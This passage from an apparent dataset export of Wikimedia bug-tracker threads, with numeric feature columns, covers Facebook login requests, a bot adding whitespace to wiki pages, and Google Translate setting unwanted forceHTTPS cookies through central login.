    <input id=""wpLoginAttempt"" tabindex=""6"" class=""mw-ui-button mw-ui-big mw-ui-block mw-ui-primary"" type=""submit"" value=""Log in"" name=""wpLoginAttempt"">
that gets them looking at it twice as it looks like something from Facebook.
Then many of them probably start looking around the rest of the page for the real ""Login with Facebook"" button."
260182,Enable Facebook login on Wikimedia wikis,"(In reply to comment #0)
> Other sites have ""Login with Facebook"".
> Wikipedia should too!

Why?

Just because you can do something, doesn't mean you should.

Anyway, this no doubt a dupe of requesting to be able to login using any openid provider",,,1388803572,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-2ibar746q7fwquhhky2c,task_subcomment,,True,c3,1,True,,,-78,True,2.0,2.0,0.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,10.0,12.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,12.0,4.0,0.0,6.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,4.0,12.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,3.4166666666666665,0.8333333333333334,"(In reply to comment #0)
QUOTE
QUOTE

Why?

Just because you can do something, doesn't mean you should.

Anyway, this no doubt a dupe of requesting to be able to login using any openid provider"
58316,OpenStackManager: Nova resource pages are endlessly prepended with line break whitespace on each update by Labslogbot,"See https://wikitech.wikimedia.org/w/index.php?title=Nova_Resource:I-00000601&action=history


eg. when trying to restart the bot or read something, finding a seemingly blank page like this https://wikitech.wikimedia.org/w/index.php?title=Nova_Resource:I-00000601&oldid=87399 is a bit annoying.

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1383058800,1437750727.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-TASK-v2mguuhedbp2cvaxaet6,task_description,resolved,True,c3,1,True,False,True,-88,True,0.0,2.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,11.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,3.847826086956522,0.7391304347826086,"See URL


eg. when trying to restart the bot or read something, finding a seemingly blank page like this URL is a bit annoying.

--------------------------
**Version**: unspecified
**Severity**: normal"
496419,OpenStackManager: Nova resource pages are endlessly prepended with line break whitespace on each update by Labslogbot,"A cursory look at the (deleted and before that moved) page referenced in this task and current pages showed that now apparently only one newline is prepended by Labslogbot, while previously one was prepended with each update.  So I'm closing this as resolved; if I missed a (current) case, please reopen.",,,1437750727,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-v2mguuhedbp2cvaxaet6,task_subcomment,,True,c3,3,True,,,3,True,2.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,2.0,0.0,3.0,0.0,8.0,15.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,13.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,5.0,3.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,3.0,15.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,4.096774193548387,0.8225806451612904,"A cursory look at the (deleted and before that moved) page referenced in this task and current pages showed that now apparently only one newline is prepended by Labslogbot, while previously one was prepended with each update.  So I'm closing this as resolved; if I missed a (current) case, please reopen."
57887,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**Author:** `salisria`

**Description:**
I had originally filed this as a reopening of bug 54626 (comment 9 https://bugzilla.wikimedia.org/show_bug.cgi?id=54626#c9 ) as I was uncertain what had triggered it.  Now I know.  When I translate a wikipage with Google, that is when the forceHTTPS cookies are being set despite that breaking my preferences.

In case this affects things, at the time I do that, I am not signed in to Google, but I am signed in to Wikipedia.  When I translate the webpage on Goggle that is when I first get the popup message:
""Central login
You are centrally logged in as <username>. Reload the page to apply your user settings.""
That also is likely when the fifteen unwanted cookies are placed.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57081",Lowest,10.0,1382118000,1434983614.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-4my7skcf3xoomjiuspgw,task_description,declined,True,c3,1,False,False,True,-89,True,0.0,0.0,0.0,3.0,0.5,3.5,1.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,5.0,0.0,6.5,8.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,7.5,1.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,1.0,0.0,0.0,0.0,12.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,4.0,5.5,16.0,3.0,0.5,7.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.5,8.0,4.0,0.0,1.0,0.0,6.5,0.0,3.5,1.0,0.0,0.5,0.0,0.0,0.5,3.5585470085470083,0.6683150183150184,"**Author:** CODE

**Description:**
I had originally filed this as a reopening of bug 54626 (comment 9 URL ) as I was uncertain what had triggered it.  Now I know.  When I translate a wikipage with Google, that is when the forceHTTPS cookies are being set despite that breaking my preferences.

In case this affects things, at the time I do that, I am not signed in to Google, but I am signed in to Wikipedia.  When I translate the webpage on Goggle that is when I first get the popup message:
""Central login
You are centrally logged in as <username>. Reload the page to apply your user settings.""
That also is likely when the fifteen unwanted cookies are placed.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
479625,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"@faidon, this is still a bug, possibly upsteam in Google Translate, but these two websites are commonly used together and someone needs to prevent this popup message, which is incorrect, from appearing.",,,1435024600,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,2,True,,,-2,True,0.0,3.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,8.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.605263157894737,0.8421052631578947,"SCREEN_NAME, this is still a bug, possibly upsteam in Google Translate, but these two websites are commonly used together and someone needs to prevent this popup message, which is incorrect, from appearing."
479059,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"As I understand it, this task is now moot: HTTPS is the default for everyone and there is no opt-out.",,,1434983614,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,2,True,,,-2,True,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.28,0.92,"As I understand it, this task is now moot: HTTPS is the default for everyone and there is no opt-out."
478662,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"I see this quite regularly, and I agree it is a bit disconcerting.  Also the message (""Reload the page to apply your user settings"") is incorrect, as reloading the page does not apply your settings.  Don't send the cookies to Google's translate service IPs? :-)",,,1434873481,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,2,True,,,-2,True,0.0,0.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,2.0,9.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,9.0,3.0,12.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,5.0,5.0,2.0,3.0,0.0,9.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.7413793103448274,0.7586206896551724,"I see this quite regularly, and I agree it is a bit disconcerting.  Also the message (""Reload the page to apply your user settings"") is incorrect, as reloading the page does not apply your settings.  Don't send the cookies to Google's translate service IPs? :-)"
260167,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:

I could have been far more acerbic than I was, but I also didn't think it would have been helpful, especially since that boat has already floated.  Still, I do hope you'll eventually fix this, since it looks like the proper fix would be to provide a much needed global method to specify HTTPS use instead of the kludgy per site basis.  I can't think of any reason why anyone would want to use HTTPS on some Wikimedia sites and not use it on others.",,,1384240781,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,False,,,-86,True,3.0,1.0,0.0,0.0,2.5,3.0,1.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,3.0,0.0,9.0,10.0,1.0,3.0,0.0,1.0,0.0,1.5,0.0,0.0,0.5,0.5,3.0,0.0,2.0,3.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,11.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,1.0,1.0,0.0,1.0,3.0,2.5,6.5,2.0,1.5,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.5,10.0,2.5,0.0,0.0,0.0,5.5,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,3.658744557329463,0.7812046444121916,"**salisria** wrote:

I could have been far more acerbic than I was, but I also didn't think it would have been helpful, especially since that boat has already floated.  Still, I do hope you'll eventually fix this, since it looks like the proper fix would be to provide a much needed global method to specify HTTPS use instead of the kludgy per site basis.  I can't think of any reason why anyone would want to use HTTPS on some Wikimedia sites and not use it on others."
260162,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"""Wales' privacy fears"" (I don't consider such comments very helpful) didn't play much of a role when planning https://meta.wikimedia.org/wiki/HTTPS , and there are no plans to spend much time on corner cases...",,,1384169944,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,True,,,-86,True,5.0,0.0,2.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,0.0,10.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,8.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,8.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.625,0.925,"""Wales' privacy fears"" (I don't consider such comments very helpful) didn't play much of a role when planning URL , and there are no plans to spend much time on corner cases..."
260157,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:

Let me present a scenario ask if this is indeed what would happen.  If were logged out of wikimedia and then visited a site where I have not set the preference as I desired and then for some odd reason, logged in there, would I get the cookies set? If I understand you correctly, it would.

In that case, the bug is that while you have a preference to allow a person to choose ""Always use a secure connection when logged in"" (an option which which is now by default always enabled unless one chooses opt-out)  there is no option to specify ""Never use a secure connection when logged in"".

Incidentally, when I first noticed the problem I tried manually editing the cookies to have a value of ""0"" instead of ""1"" in hopes they were a boolean flag, but that didn't work, but perhaps you should consider doing that.

However you choose to implement it, it sounds like you need to replace the kludge you used to enforce Wales' privacy fears with one that allows those of us who don't share them to opt out globally, instead of having to make us opt out potentially hundreds of times.",,,1384121168,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,False,,,-86,True,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,1.3333333333333333,1.0,0.0,0.0,1.3333333333333333,3.3333333333333335,1.3333333333333333,0.0,0.0,0.3333333333333333,3.0,0.0,9.0,12.666666666666666,0.0,3.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,4.666666666666667,2.3333333333333335,1.0,0.3333333333333333,2.3333333333333335,0.0,0.0,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,9.0,1.6666666666666667,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,5.0,2.0,5.0,3.3333333333333335,1.3333333333333333,8.333333333333334,0.0,0.0,0.0,0.0,7.333333333333333,0.0,1.0,0.0,7.666666666666667,12.666666666666666,0.6666666666666666,0.3333333333333333,3.3333333333333335,0.0,7.666666666666667,0.0,3.0,3.0,1.6666666666666667,1.0,0.0,0.0,0.0,3.731738683127572,0.7066872427983539,"**salisria** wrote:

Let me present a scenario ask if this is indeed what would happen.  If were logged out of wikimedia and then visited a site where I have not set the preference as I desired and then for some odd reason, logged in there, would I get the cookies set? If I understand you correctly, it would.

In that case, the bug is that while you have a preference to allow a person to choose ""Always use a secure connection when logged in"" (an option which which is now by default always enabled unless one chooses opt-out)  there is no option to specify ""Never use a secure connection when logged in"".

Incidentally, when I first noticed the problem I tried manually editing the cookies to have a value of ""0"" instead of ""1"" in hopes they were a boolean flag, but that didn't work, but perhaps you should consider doing that.

However you choose to implement it, it sounds like you need to replace the kludge you used to enforce Wales' privacy fears with one that allows those of us who don't share them to opt out globally, instead of having to make us opt out potentially hundreds of times."
260151,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"This is something of a bug/feature of google translate. Google gets the html from the site (anonymously) and presents that html in an iframe on googleusercontent.com. Since you're not logged in, the javascript on the page (running in the googleusercontent.com domain) pings loginwiki and the target wiki and, and ""logs in"" to the target wiki (even though you're actually already logged in..). After that succeeds, that javascript replaces the html div with your username, which it can do on googleusercontent's html since it's same domain.

Unfortunately for Carolina, we use the preferences for the target wiki when the login protocol runs, and as she mentioned, the default preference there is to enable https, and we set the forceHTTPS cookie at that point.

So unfortunately, the only way to get around this for Carolina is to update the preference across wikis.",,,1383951158,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.5,0.0,0.0,0.5,1.0,0.5,0.0,0.5,0.0,3.0,1.0,0.0,0.5,0.5,1.0,0.0,5.0,15.5,0.5,1.5,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,7.0,0.0,1.0,0.5,1.5,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,17.5,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,9.0,1.5,4.5,3.0,3.0,12.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,4.5,15.5,5.5,0.0,1.0,0.0,4.5,0.0,1.0,1.0,0.0,0.5,0.0,0.0,1.0,4.238372093023256,0.6453488372093024,"This is something of a bug/feature of google translate. Google gets the html from the site (anonymously) and presents that html in an iframe on googleusercontent.com. Since you're not logged in, the javascript on the page (running in the googleusercontent.com domain) pings loginwiki and the target wiki and, and ""logs in"" to the target wiki (even though you're actually already logged in..). After that succeeds, that javascript replaces the html div with your username, which it can do on googleusercontent's html since it's same domain.

Unfortunately for Carolina, we use the preferences for the target wiki when the login protocol runs, and as she mentioned, the default preference there is to enable https, and we set the forceHTTPS cookie at that point.

So unfortunately, the only way to get around this for Carolina is to update the preference across wikis."
260143,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:

Just to clarify:  I have the ""Always use a secure connection when logged in"" set to off, not on as Andre did.  I want to use HTTP, not HTTPS.  I do not need the security features of HTTPS for my own use and HTTPS uses more bandwidth.",,,1383944339,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,False,,,-86,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,14.0,0.0,3.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,15.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,14.0,6.0,0.0,3.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.1363636363636362,0.6818181818181818,"**salisria** wrote:

Just to clarify:  I have the ""Always use a secure connection when logged in"" set to off, not on as Andre did.  I want to use HTTP, not HTTPS.  I do not need the security features of HTTPS for my own use and HTTPS uses more bandwidth."
260136,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:

(In reply to comment #4) 
> Please pardon my ignorance, but which exact problem does this create with the
> cookies?

My own problem is that by placing the cookies, they override my explicitly set preference to not use HTTPS on en.wikipedia etc.,  In order to get back to not being forced to using HTTPS, I have to both manually delete the cookies and then log back out and back in.",,,1383944109,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,False,,,-86,True,0.0,0.0,0.0,1.0,3.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,17.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,1.0,3.0,4.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,5.0,17.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.4935064935064934,0.7142857142857143,"**salisria** wrote:

(In reply to comment #4) 
QUOTE
QUOTE

My own problem is that by placing the cookies, they override my explicitly set preference to not use HTTPS on en.wikipedia etc.,  In order to get back to not being forced to using HTTPS, I have to both manually delete the cookies and then log back out and back in."
260127,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,Gotcha. CC'ing csteipp due to the idea of CSRF.,,,1383934374,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.5454545454545454,0.9090909090909091,Gotcha. CC'ing csteipp due to the idea of CSRF.
260118,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"Being automatically logged-in while you're viewing the page from an untrusted (non-WMF) domain is scary at least.

Would it be possible for us to suffer a CSRF attack because of this?",,,1383933294,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,2.0,0.0,12.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,20.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,20.0,7.0,2.0,0.0,0.0,7.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,0.0,3.7560975609756095,0.975609756097561,"Being automatically logged-in while you're viewing the page from an untrusted (non-WMF) domain is scary at least.

Would it be possible for us to suffer a CSRF attack because of this?"
260110,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"1. Using Google Chrome 30, not logged in on google.com, logged in on en.wikipedia.org.
2. ""Always use a secure connection when logged in"" is enabled on https://en.wikipedia.org/w/index.php?title=Special:Preferences#mw-prefsection-personal
3. I go to http://translate.google.com/
4. I paste http://en.wikipedia.org/wiki/Home_Nations in the text field
5. I choose (translate to) ""Spanish""
6. I click the ""Translate"" button

RESULT:
In the upper right corner, for a moment I see ""Create an account"" etc in Spanish. After two seconds, I see my user name there.


Please pardon my ignorance, but which exact problem does this create with the cookies?",,,1383932990,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,True,,,-86,True,0.0,0.0,0.0,0.5,0.5,3.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,5.5,0.0,2.5,8.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,8.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,0.5,13.5,0.5,1.0,6.5,0.0,0.0,0.0,0.0,3.5,1.0,3.5,0.0,5.5,8.5,5.0,1.0,5.5,0.0,5.5,0.0,1.5,2.0,0.0,0.5,0.0,0.0,2.5,3.3015873015873014,0.6984126984126984,"1. Using Google Chrome 30, not logged in on google.com, logged in on en.wikipedia.org.
2. ""Always use a secure connection when logged in"" is enabled on URL
3. I go to URL
4. I paste URL in the text field
5. I choose (translate to) ""Spanish""
6. I click the ""Translate"" button

RESULT:
In the upper right corner, for a moment I see ""Create an account"" etc in Spanish. After two seconds, I see my user name there.


Please pardon my ignorance, but which exact problem does this create with the cookies?"
260104,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**salisria** wrote:

I need to be globally logged in with Wikimedia (which is always).

I need to do a Google translation of a Wikimedia page. When I do that, the upper right area, briefly shows the ""Create account"" stuff then it will after a second or two recognize I'm globally logged in and show the usual ""Carolina wren Talk Preferences Watchlist Contributions Log out"" options.

If this is for a site which I've specified that my user preference is to not use HTTPS, everything is fine.

If this were for a site which I had not specified my user preference is to not use HTTPS, that is when the problem occurs. (With accounts automatically set up whenever I visit another version while globally logged in, I've managed to accrue over 100 such per site accounts despite being active on only a few, so I haven't preemptively tried to change the preference for all of them.)

The problem does not occur if I simply visit the untranslated page on a site I haven't yet set the preference for.  While that page, as expected, uses HTTPS, it does not set the fifteen forceHTTPS cookies for commons, incubator, login, mediawiki, meta, species, wikibooks, wikidata, wikinews, wikipedia, wikiquote, wikisource, wikiversity, wikivoyage, and wiktionary that are set if I view that same page via Google Translate.

Note that Google seems to have tweaked what it is doing so that I'm no longer getting the in-window Central Login message when I view the translated page, but I'm still getting the unwanted cookies, and the Central Login message shows when I next view a Wikimedia page directly.",,,1383929851,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c3,1,False,,,-86,True,0.5,0.25,0.0,0.5,1.75,3.5,1.75,0.0,0.0,1.0,1.25,1.75,0.0,0.25,0.0,4.75,0.0,7.25,10.25,0.25,1.75,0.0,0.75,0.0,1.25,0.0,0.0,0.0,0.0,0.25,0.0,8.0,1.5,0.75,0.25,0.0,0.25,0.25,1.0,0.0,0.0,0.25,0.0,1.0,0.0,0.5,0.0,0.25,0.25,11.5,1.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.75,2.25,0.5,0.25,1.0,0.25,0.25,5.5,2.75,11.75,4.25,1.75,8.25,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,5.75,10.25,5.5,0.0,1.0,0.0,5.75,0.0,2.75,2.0,0.25,1.0,0.25,0.0,0.0,3.9674411933448077,0.6604991394148021,"**salisria** wrote:

I need to be globally logged in with Wikimedia (which is always).

I need to do a Google translation of a Wikimedia page. When I do that, the upper right area, briefly shows the ""Create account"" stuff then it will after a second or two recognize I'm globally logged in and show the usual ""Carolina wren Talk Preferences Watchlist Contributions Log out"" options.

If this is for a site which I've specified that my user preference is to not use HTTPS, everything is fine.

If this were for a site which I had not specified my user preference is to not use HTTPS, that is when the problem occurs. (With accounts automatically set up whenever I visit another version while globally logged in, I've managed to accrue over 100 such per site accounts despite being active on only a few, so I haven't preemptively tried to change the preference for all of them.)

The problem does not occur if I simply visit the untranslated page on a site I haven't yet set the preference for.  While that page, as expected, uses HTTPS, it does not set the fifteen forceHTTPS cookies for commons, incubator, login, mediawiki, meta, species, wikibooks, wikidata, wikinews, wikipedia, wikiquote, wikisource, wikiversity, wikivoyage, and wiktionary that are set if I view that same page via Google Translate.

Note that Google seems to have tweaked what it is doing so that I'm no longer getting the in-window Central Login message when I view the translated page, but I'm still getting the unwanted cookies, and the Central Login message shows when I next view a Wikimedia page directly."
260099,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"Hi Carolina! Sorry that nobody has taken a look at this report yet and given feedback.

